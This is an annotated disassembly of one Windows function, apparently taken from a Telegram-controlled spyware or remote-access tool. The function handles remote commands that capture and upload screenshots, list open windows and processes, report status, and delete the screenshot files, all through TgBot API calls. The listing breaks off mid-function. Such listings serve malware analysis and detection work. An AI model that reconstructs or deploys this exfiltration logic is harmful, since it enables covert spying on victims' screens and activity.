Function at 0x1400114d0
Capabilities:
Enumerate gui resources

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x1e0]
sub rsp, 0x2e0
movaps xmmword [rsp + 0x2d0], xmm6
mov rax, qword [0x14006c100]
xor rax, rsp
mov qword [rbp + 0x1c0], rax
mov rsi, rdx
mov r12, rcx
mov qword [rbp + 0x50], rdx
xor r13d, r13d
mov rbx, qword [rdx]
mov rax, qword [rbx + 0x30]
mov rcx, qword [rax + 0x30]
cmp qword [rcx], 0x322c0dea
je 0x140011540
mov rbx, qword [rdx + 8]
test rbx, rbx
je 0x140012996
mov edi, 0xffffffff
jmp 0x14001296f
sub rbx, 0xffffffffffffff80
mov rcx, rbx
mov r15, qword [rbx + 0x18]
cmp r15, 0xf
jbe 0x140011554
mov rcx, qword [rbx]
mov r14, qword [rbx + 0x10]
mov edi, 0xffffffff
cmp r14, 6
jne 0x140011b8d
mov r8, r14
lea rdx, str.screen
call fcn.1400510b0
test eax, eax
jne 0x140011b8d
xorps xmm0, xmm0
movups xmmword [rbp + 0x180], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x190], xmm1
mov r8d, 0x18
lea rdx, str.D:_screens_gasscreen.jpg
lea rcx, [rbp + 0x180]
call fcn.140007820
nop
lea rax, [rbp - 0x70]
mov qword [rbp - 0x38], rax
lea rdx, str.gasscreen
lea rcx, [rbp - 0x70]
call fcn.140003a70
mov rbx, rax
lea rdx, str.D:_screens_
lea rcx, [rbp + 0x1a0]
call fcn.140003a70
nop
mov rdx, rbx
mov rcx, rax
call fcn.140020d60
xor edx, edx
mov r8d, 0x110
lea rcx, [rbp + 0x70]
call fcn.140050d10
lea rdx, [rbp + 0x180]
cmp qword [rbp + 0x198], 0xf
cmova rdx, qword [rbp + 0x180]
mov r8d, 1
lea rcx, [rbp + 0x70]
call fcn.140016b90
mov rax, qword [rbp + 0x70]
movsxd rcx, dword [rax + 4]
lea r14, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x70], r14
mov rax, qword [rbp + 0x70]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rbp + rcx + 0x6c], edx
mov rax, qword [rbp + 0x70]
movsxd rcx, dword [rax + 4]
test byte [rbp + rcx + 0x80], 6
jne 0x140011adb
xorps xmm0, xmm0
movups xmmword [rbp - 0x70], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x60], xmm1
xor r8d, r8d
lea rdx, [0x14005fffd]
lea rcx, [rbp - 0x70]
call fcn.140007820
nop
lea rax, [rbp - 0x48]
mov qword [rbp - 0x50], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x1a0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x1b0], xmm1
xor r8d, r8d
lea rdx, [0x14005fffd]
lea rcx, [rbp + 0x1a0]
call fcn.140007820
nop
xorps xmm0, xmm0
movups xmmword [rbp + 8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x18], xmm1
mov r8d, 0xd
lea rdx, str.gasscreen.jpg
lea rcx, [rbp + 8]
call fcn.140007820
nop
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x70], xmm0
mov qword [rbp - 0x80], r13
movdqu xmmword [rbp - 0x48], xmm0
lea r8, [rbp + 8]
lea rdx, [rbp + 0x180]
lea rcx, [rbp - 0x30]
call qword [sym.imp.TgBot.dll_public:_static_class_std::shared_ptr_class_TgBot::InputFile____cdecl_TgBot::InputFile::fromFile_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const____ptr64__class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const____ptr64_]
nop
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x30], xmm0
mov rcx, qword [rax]
mov qword [rbp + 0x30], rcx
mov rcx, qword [rax + 8]
mov qword [rbp + 0x38], rcx
mov qword [rax], r13
mov qword [rax + 8], r13
mov dword [rbp + 0x28], r13d
mov rax, qword [rsi]
mov rcx, qword [rax + 0x30]
mov rax, qword [rcx + 0x30]
mov rcx, qword [rax]
mov qword [rbp - 0x18], rcx
mov dword [rbp - 0x20], r13d
mov rcx, qword [r12]
add rcx, 0x20
mov byte [rsp + 0x68], 0
mov dword [rsp + 0x60], r13d
mov byte [rsp + 0x58], 0
mov byte [rsp + 0x50], 0
lea rax, [rsp + 0x70]
mov qword [rsp + 0x48], rax
mov byte [rsp + 0x40], 0
lea rax, [rbp - 0x70]
mov qword [rsp + 0x38], rax
lea rax, [rbp - 0x48]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], r13d
lea rax, [rbp + 0x1a0]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x28]
lea r8, [rbp - 0x20]
lea rdx, [rbp + 0x58]
call qword [sym.imp.TgBot.dll__sendPhoto_Api_TgBot__QEBA_AV__shared_ptr_VMessage_TgBot___std__V__variant__JV__basic_string_DU__char_traits_D_s]
mov rbx, qword [rbp + 0x60]
test rbx, rbx
je 0x1400117ca
mov eax, edi
lock xadd dword [rbx + 8], eax
cmp eax, 1
jne 0x1400117ca
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax]
mov eax, edi
lock xadd dword [rbx + 0xc], eax
cmp eax, 1
jne 0x1400117ca
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + 8]
nop
mov rbx, qword [rbp - 0x28]
test rbx, rbx
je 0x1400117fd
mov eax, edi
lock xadd dword [rbx + 8], eax
cmp eax, 1
jne 0x1400117fd
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax]
mov eax, edi
lock xadd dword [rbx + 0xc], eax
cmp eax, 1
jne 0x1400117fd
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + 8]
nop
lea rcx, [rsp + 0x70]
call fcn.140016020
nop
mov rdx, qword [rbp + 0x20]
cmp rdx, 0xf
jbe 0x140011843
inc rdx
mov rcx, qword [rbp + 8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001183e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400129ec
call fcn.140025830
movdqa xmm6, xmmword [0x1400614e0]
movdqu xmmword [rbp + 0x18], xmm6
mov byte [rbp + 8], 0
mov rdx, qword [rbp + 0x1b8]
cmp rdx, 0xf
jbe 0x140011895
inc rdx
mov rcx, qword [rbp + 0x1a0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140011890
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400129f2
call fcn.140025830
movdqu xmmword [rbp + 0x1b0], xmm6
mov byte [rbp + 0x1a0], 0
mov rdx, qword [rbp - 0x58]
cmp rdx, 0xf
jbe 0x1400118df
inc rdx
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400118da
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400129f8
call fcn.140025830
lea rcx, [rbp + 0x80]
call fcn.140016a90
test rax, rax
jne 0x14001192e
mov rax, qword [rbp + 0x70]
movsxd rcx, dword [rax + 4]
mov eax, 6
mov edx, 2
cmp qword [rbp + rcx + 0xb8], 0
cmovne eax, edx
or eax, dword [rbp + rcx + 0x80]
and eax, 0x17
mov dword [rbp + rcx + 0x80], eax
mov edx, dword [rbp + rcx + 0x84]
and edx, eax
jne 0x1400129fe
xorps xmm0, xmm0
movups xmmword [rsp + 0x70], xmm0
mov qword [rbp - 0x80], r13
mov qword [rbp - 0x78], r13
mov r8d, 0x18
lea rdx, str.D:_screens_gasscreen.bmp
lea rcx, [rsp + 0x70]
call fcn.140007820
nop
lea rcx, [rsp + 0x70]
cmp qword [rbp - 0x78], 0xf
cmova rcx, qword [rsp + 0x70]
call fcn.1400337a0
test eax, eax
jne 0x140011987
cmp byte [0x14006ff48], al
je 0x1400119c8
lea rdx, str.Successfully_deleted:
lea rcx, [0x14006e320]
jmp 0x14001199e
cmp byte [0x14006ff48], 0
je 0x1400119c8
lea rdx, str.Error_deleting_file:
lea rcx, [0x14006e6f0]
call fcn.140018250
lea rdx, [rsp + 0x70]
cmp qword [rbp - 0x78], 0xf
mov r8, qword [rbp - 0x80]
cmova rdx, qword [rsp + 0x70]
mov rcx, rax
call fcn.14001bda0
mov rcx, rax
call fcn.140007520
nop
mov rdx, qword [rbp - 0x78]
cmp rdx, 0xf
jbe 0x140011a04
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400119ff
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140012a4f
call fcn.140025830
xorps xmm0, xmm0
movups xmmword [rsp + 0x70], xmm0
mov qword [rbp - 0x80], r13
mov qword [rbp - 0x78], r13
mov r8d, 0x18
lea rdx, str.D:_screens_gasscreen.jpg
lea rcx, [rsp + 0x70]
call fcn.140007820
nop
lea rcx, [rsp + 0x70]
cmp qword [rbp - 0x78], 0xf
cmova rcx, qword [rsp + 0x70]
call fcn.1400337a0
test eax, eax
jne 0x140011a5d
cmp byte [0x14006ff48], al
je 0x140011a9e
lea rdx, str.Successfully_deleted:
lea rcx, [0x14006e320]
jmp 0x140011a74
cmp byte [0x14006ff48], 0
je 0x140011a9e
lea rdx, str.Error_deleting_file:
lea rcx, [0x14006e6f0]
call fcn.140018250
lea rdx, [rsp + 0x70]
cmp qword [rbp - 0x78], 0xf
mov r8, qword [rbp - 0x80]
cmova rdx, qword [rsp + 0x70]
mov rcx, rax
call fcn.14001bda0
mov rcx, rax
call fcn.140007520
nop
mov rdx, qword [rbp - 0x78]
cmp rdx, 0xf
jbe 0x140011adb
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140011ad5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140012a55
call fcn.140025830
nop
mov rax, qword [rbp + 0x70]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx + 0x70], r14
mov rax, qword [rbp + 0x70]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rbp + rcx + 0x6c], edx
lea rcx, [rbp + 0x80]
call fcn.1400140e0
mov rax, qword [rbp + 0x70]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x70], rax
mov rax, qword [rbp + 0x70]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x18]
mov dword [rbp + rcx + 0x6c], edx
lea rax, vtable.std::ios_base.0
mov qword [rbp + 0x120], rax
lea rcx, [rbp + 0x120]
call fcn.140024cfc
nop
mov rdx, qword [rbp + 0x198]
cmp rdx, 0xf
jbe 0x140012966
inc rdx
mov rcx, qword [rbp + 0x180]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400126ff
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400129ce
jmp 0x1400126ff
cmp r15, 0xf
jbe 0x140011b96
mov rbx, qword [rbx]
cmp r14, 7
jne 0x140011d17
mov r8, r14
lea rdx, str.windows
mov rcx, rbx
call fcn.1400510b0
test eax, eax
jne 0x140011d17
lea rcx, [rbp - 0x70]
call fcn.14000afc0
mov rbx, rax
mov r8, rax
cmp qword [rax + 0x18], r14
jbe 0x140011bd2
mov r8, qword [rax]
lea r14, [rax + 0x10]
mov qword [rsp + 0x38], r13
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], r13d
mov qword [rsp + 0x20], r13
mov r9d, dword [r14]
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
movsxd r15, eax
mov rdx, r15
xor r8d, r8d
lea rcx, [rbp + 0x180]
call fcn.140003c20
lea rdx, [rbp + 0x180]
cmp qword [rbp + 0x198], 0xf
cmova rdx, qword [rbp + 0x180]
cmp qword [rbx + 0x18], 7
jbe 0x140011c30
mov rbx, qword [rbx]
mov qword [rsp + 0x38], r13
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], r15d
mov qword [rsp + 0x20], rdx
mov r9d, dword [r14]
mov r8, rbx
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
nop
mov rax, qword [rsi]
mov rdx, qword [rax + 0x30]
mov rdx, qword [rdx + 0x30]
lea r8, [rbp + 0x180]
mov rdx, qword [rdx]
mov rcx, qword [r12]
call fcn.14000b930
nop
mov rdx, qword [rbp + 0x198]
cmp rdx, 0xf
jbe 0x140011cb8
inc rdx
mov rcx, qword [rbp + 0x180]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140011cb3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140012a5b
call fcn.140025830
movdqa xmm0, xmmword [0x1400614e0]
movdqu xmmword [rbp + 0x190], xmm0
mov byte [rbp + 0x180], 0
mov rdx, qword [rbp - 0x58]
cmp rdx, 7
jbe 0x140012966
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400126ff
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400129d4
jmp 0x1400126ff
mov r14, qword [rsi]
lea rcx, [r14 + 0x80]
mov r15, qword [r14 + 0x98]
cmp r15, 0xf
jbe 0x140011d35
mov rcx, qword [r14 + 0x80]
mov rbx, qword [r14 + 0x90]
cmp rbx, 8
jne 0x140011ee1
mov r8, rbx
lea rdx, str.awindows
call fcn.1400510b0
test eax, eax
jne 0x140011ee1
xorps xmm0, xmm0
movups xmmword [rsp + 0x70], xmm0
movdqa xmm1, xmmword [0x1400614d0]
movdqu xmmword [rbp - 0x80], xmm1
mov word [rsp + 0x70], r13w
lea rdx, [rsp + 0x70]
lea rcx, [0x14000c4f0]
call qword [sym.imp.USER32.dll_EnumWindows]
nop
lea r8, [rsp + 0x70]
cmp qword [rbp - 0x78], 7
cmova r8, qword [rsp + 0x70]
mov qword [rsp + 0x38], r13
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], r13d
mov qword [rsp + 0x20], r13
mov r9d, dword [rbp - 0x80]
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
movsxd rbx, eax
mov rdx, rbx
xor r8d, r8d
lea rcx, [rbp + 0x180]
call fcn.140003c20
lea rcx, [rbp + 0x180]
cmp qword [rbp + 0x198], 0xf
cmova rcx, qword [rbp + 0x180]
lea r8, [rsp + 0x70]
cmp qword [rbp - 0x78], 7
cmova r8, qword [rsp + 0x70]
mov qword [rsp + 0x38], r13
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rcx
mov r9d, dword [rbp - 0x80]
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
nop
mov rax, qword [rsi]
mov rdx, qword [rax + 0x30]
mov rdx, qword [rdx + 0x30]
lea r8, [rbp + 0x180]
mov rdx, qword [rdx]
mov rcx, qword [r12]
call fcn.14000b930
nop
mov rdx, qword [rbp + 0x198]
cmp rdx, 0xf
jbe 0x140011e81
inc rdx
mov rcx, qword [rbp + 0x180]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140011e7c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140012a61
call fcn.140025830
movdqa xmm0, xmmword [0x1400614e0]
movdqu xmmword [rbp + 0x190], xmm0
mov byte [rbp + 0x180], 0
mov rdx, qword [rbp - 0x78]
cmp rdx, 7
jbe 0x140012966
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400126ff
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400129da
jmp 0x1400126ff
lea rcx, [r14 + 0x80]
cmp r15, 0xf
jbe 0x140011ef1
mov rcx, qword [rcx]
cmp rbx, 7
jne 0x140012070
mov r8, rbx
lea rdx, str.process
call fcn.1400510b0
test eax, eax
jne 0x140012070
lea rcx, [rbp - 0x70]
call fcn.14000b280
mov rbx, rax
mov r8, rax
cmp qword [rax + 0x18], 7
jbe 0x140011f2b
mov r8, qword [rax]
lea r14, [rax + 0x10]
mov qword [rsp + 0x38], r13
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], r13d
mov qword [rsp + 0x20], r13
mov r9d, dword [r14]
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
movsxd r15, eax
mov rdx, r15
xor r8d, r8d
lea rcx, [rbp + 0x180]
call fcn.140003c20
lea rcx, [rbp + 0x180]
cmp qword [rbp + 0x198], 0xf
cmova rcx, qword [rbp + 0x180]
cmp qword [rbx + 0x18], 7
jbe 0x140011f89
mov rbx, qword [rbx]
mov qword [rsp + 0x38], r13
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], r15d
mov qword [rsp + 0x20], rcx
mov r9d, dword [r14]
mov r8, rbx
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
nop
mov rax, qword [rsi]
mov rcx, qword [rax + 0x30]
mov rdx, qword [rcx + 0x30]
lea r8, [rbp + 0x180]
mov rdx, qword [rdx]
mov rcx, qword [r12]
call fcn.14000b930
nop
mov rdx, qword [rbp + 0x198]
cmp rdx, 0xf
jbe 0x140012011
inc rdx
mov rcx, qword [rbp + 0x180]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001200c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140012a67
call fcn.140025830
movdqa xmm0, xmmword [0x1400614e0]
movdqu xmmword [rbp + 0x190], xmm0
mov byte [rbp + 0x180], 0
mov rdx, qword [rbp - 0x58]
cmp rdx, 7
jbe 0x140012966
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400126ff
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400129e0
jmp 0x1400126ff
lea rcx, [r14 + 0x80]
cmp r15, 0xf
jbe 0x140012084
mov rcx, qword [r14 + 0x80]
cmp rbx, 6
jne 0x140012381
mov r8, rbx
lea rdx, str.status
call fcn.1400510b0
test eax, eax
jne 0x140012381
xorps xmm0, xmm0
movups xmmword [rbp + 0x1a0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x1b0], xmm1
mov r8d, 9
lea rdx, str.Online___n
lea rcx, [rbp + 0x1a0]
call fcn.140007820
nop
lea rcx, [rbp + 8]
call fcn.14000bd10
nop
mov r8d, 1
lea rdx, [0x14006080c]
mov rcx, rax
call fcn.140005af0
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x70], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x60], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rdx, [rbp - 0x70]
movq rcx, xmm0
movdqa xmm0, xmm1
psrldq xmm0, 8
movq rax, xmm0
cmp rax, 0xf
cmova rdx, rcx
movq r8, xmm1
lea rcx, [rbp + 0x1a0]
call fcn.140005af0
nop
mov rdx, qword [rbp - 0x58]
cmp rdx, 0xf
jbe 0x14001217e
inc rdx
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140012178
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140012a6d
call fcn.140025830
nop
mov rdx, qword [rbp + 0x20]
cmp rdx, 0xf
jbe 0x1400121b9
inc rdx
mov rcx, qword [rbp + 8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400121b4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140012a73
call fcn.140025830
lea rcx, [rbp - 0x70]
call fcn.14000bf60
nop
mov rdx, rax
cmp qword [rax + 0x18], 0xf
jbe 0x1400121d0
mov rdx, qword [rax]
mov r8, qword [rax + 0x10]
lea rcx, [rbp + 0x1a0]
call fcn.140005af0
nop
mov rdx, qword [rbp - 0x58]
cmp rdx, 0xf
jbe 0x14001221c
inc rdx
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140012217
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140012a79
call fcn.140025830
xorps xmm0, xmm0
movups xmmword [rbp - 0x70], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x60], xmm1
xor r8d, r8d
lea rdx, [0x14005fffd]
lea rcx, [rbp - 0x70]
call fcn.140007820
nop
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x70], xmm0
mov qword [rbp - 0x80], r13
movdqu xmmword [rbp - 0x48], xmm0
mov rax, qword [rsi]
mov rcx, qword [rax + 0x30]
mov rax, qword [rcx + 0x30]
mov rcx, qword [rax]
mov qword [rbp - 0x18], rcx
mov dword [rbp - 0x20], r13d
mov rcx, qword [r12]
add rcx, 0x20
mov dword [rsp + 0x60], r13d
mov byte [rsp + 0x58], 0
mov byte [rsp + 0x50], 0
lea rax, [rsp + 0x70]
mov qword [rsp + 0x48], rax
mov byte [rsp + 0x40], 0
lea rax, [rbp - 0x70]
mov qword [rsp + 0x38], rax
lea rax, [rbp - 0x48]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], r13d
mov byte [rsp + 0x20], 0
lea r9, [rbp + 0x1a0]
lea r8, [rbp - 0x20]
lea rdx, [rbp - 0x30]
call qword [sym.imp.TgBot.dll__sendMessage_Api_TgBot__QEBA_AV__shared_ptr_VMessage_TgBot___std__V__variant__JV__basic_string_DU__char_traits_D]
mov rbx, qword [rbp - 0x28]
test rbx, rbx
je 0x1400122f1
mov eax, edi
lock xadd dword [rbx + 8], eax
cmp eax, 1
jne 0x1400122f1
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax]
mov eax, edi
lock xadd dword [rbx + 0xc], eax
cmp eax, 1
jne 0x1400122f1
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + 8]
nop
lea rcx, [rsp + 0x70]
call fcn.140016020
nop
mov rdx, qword [rbp - 0x58]
cmp rdx, 0xf
jbe 0x140012338
inc rdx
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140012332
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140012a7f
call fcn.140025830
nop
mov rdx, qword [rbp + 0x1b8]
cmp rdx, 0xf
jbe 0x140012966
inc rdx
mov rcx, qword [rbp + 0x1a0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400126ff
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400129e6
jmp 0x1400126ff
lea rcx, [r14 + 0x80]
cmp r15, 0xf
jbe 0x140012391
mov rcx, qword [rcx]
cmp rbx, 0xc
jne 0x140012709
mov r8, rbx
lea rdx, str.screendelete
call fcn.1400510b0
test eax, eax
jne 0x140012709
xorps xmm0, xmm0
movups xmmword [rsp + 0x70], xmm0
mov qword [rbp - 0x80], r13
mov qword [rbp - 0x78], r13
mov r8d, 0x18
lea rdx, str.D:_screens_gasscreen.bmp
lea rcx, [rsp + 0x70]
call fcn.140007820
nop
lea rcx, [rsp + 0x70]
cmp qword [rbp - 0x78], 0xf
cmova rcx, qword [rsp + 0x70]
call fcn.1400337a0
test eax, eax
jne 0x14001240b
cmp byte [0x14006ff48], al
je 0x14001244c
lea rdx, str.Successfully_deleted:
lea rcx, [0x14006e320]
jmp 0x140012422
cmp byte [0x14006ff48], 0
je 0x14001244c
lea rdx, str.Error_deleting_file:
lea rcx, [0x14006e6f0]
call fcn.140018250
lea rdx, [rsp + 0x70]
cmp qword [rbp - 0x78], 0xf
mov r8, qword [rbp - 0x80]
cmova rdx, qword [rsp + 0x70]
mov rcx, rax
call fcn.14001bda0
mov rcx, rax
call fcn.140007520
nop
mov rdx, qword [rbp - 0x78]
cmp rdx, 0xf
jbe 0x140012488
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140012483
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140012a85
call fcn.140025830
xorps xmm0, xmm0
movups xmmword [rsp + 0x70], xmm0
mov qword [rbp - 0x80], r13
mov qword [rbp - 0x78], r13
mov r8d, 0x18
lea rdx, str.D:_screens_gasscreen.jpg
lea rcx, [rsp + 0x70]
call fcn.140007820
nop
lea rcx, [rsp + 0x70]
cmp qword [rbp - 0x78], 0xf
cmova rcx, qword [rsp + 0x70]
call fcn.1400337a0
test eax, eax
jne 0x1400124e1
cmp byte [0x14006ff48], al
je 0x140012522
lea rdx, str.Successfully_deleted:
lea rcx, [0x14006e320]
jmp 0x1400124f8
cmp byte [0x14006ff48], 0
je 0x140012522
lea rdx, str.Error_deleting_file:
lea rcx, [0x14006e6f0]
call fcn.140018250
lea rdx, [rsp + 0x70]
cmp qword [rbp - 0x78], 0xf
mov r8, qword [rbp - 0x80]
cmova rdx, qword [rsp + 0x70]
mov rcx, rax
call fcn.14001bda0
mov rcx, rax
call fcn.140007520
nop
mov rdx, qword [rbp - 0x78]
cmp rdx, 0xf
jbe 0x14001255e
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140012559
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140012a8b
call fcn.140025830
xorps xmm0, xmm0
movups xmmword [rbp - 0x70], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x60], xmm1
xor r8d, r8d
lea rdx, [0x14005fffd]
lea rcx, [rbp - 0x70]
call fcn.140007820
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x1a0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x1b0], xmm1
mov r8d, 5
lea rdx, str.Done_
lea rcx, [rbp + 0x1a0]
call fcn.140007820
nop
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x70], xmm0
mov qword [rbp - 0x80], r13
movdqu xmmword [rbp - 0x48], xmm0
mov rax, qword [rsi]
mov rcx, qword [rax + 0x30]
mov rax, qword [rcx + 0x30]
mov rcx, qword [rax]
mov qword [rbp - 0x18], rcx
mov dword [rbp - 0x20], r13d
mov rcx, qword [r12]
add rcx, 0x20
mov dword [rsp + 0x60], r13d
mov byte [rsp + 0x58], 0
mov byte [rsp + 0x50], 0
lea rax, [rsp + 0x70]
mov qword [rsp + 0x48], rax
mov byte [rsp + 0x40], 0
lea rax, [rbp - 0x70]
mov qword [rsp + 0x38], rax
lea rax, [rbp - 0x48]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], r13d
mov byte [rsp + 0x20], 0
lea r9, [rbp + 0x1a0]
lea r8, [rbp - 0x20]
lea rdx, [rbp - 0x30]
call qword [sym.imp.TgBot.dll__sendMessage_Api_TgBot__QEBA_AV__shared_ptr_VMessage_TgBot___std__V__variant__JV__basic_string_DU__char_traits_D]
mov rbx, qword [rbp - 0x28]
test rbx, rbx
je 0x140012662
mov eax, edi
lock xadd dword [rbx + 8], eax
cmp eax, 1
jne 0x140012662
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax]
mov eax, edi
lock xadd dword [rbx + 0xc], eax
cmp eax, 1
jne 0x140012662
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + 8]
nop
lea rcx, [rsp + 0x70]
call fcn.140016020
nop
mov rdx, qword [rbp + 0x1b8]
cmp rdx, 0xf
jbe 0x1400126ae
inc rdx
mov rcx, qword [rbp + 0x1a0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400126a9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140012a91
call fcn.140025830
movdqa xmm0, xmmword [0x1400614e0]
movdqu xmmword [rbp + 0x1b0], xmm0
mov byte [rbp + 0x1a0], 0
mov rdx, qword [rbp - 0x58]
cmp rdx, 0xf
jbe 0x140012966
inc rdx
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400126ff
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140012a97
call fcn.140025830
jmp 0x140012966
lea rcx, [r14 + 0x80]
cmp r15, 0xf
jbe 0x14001271d
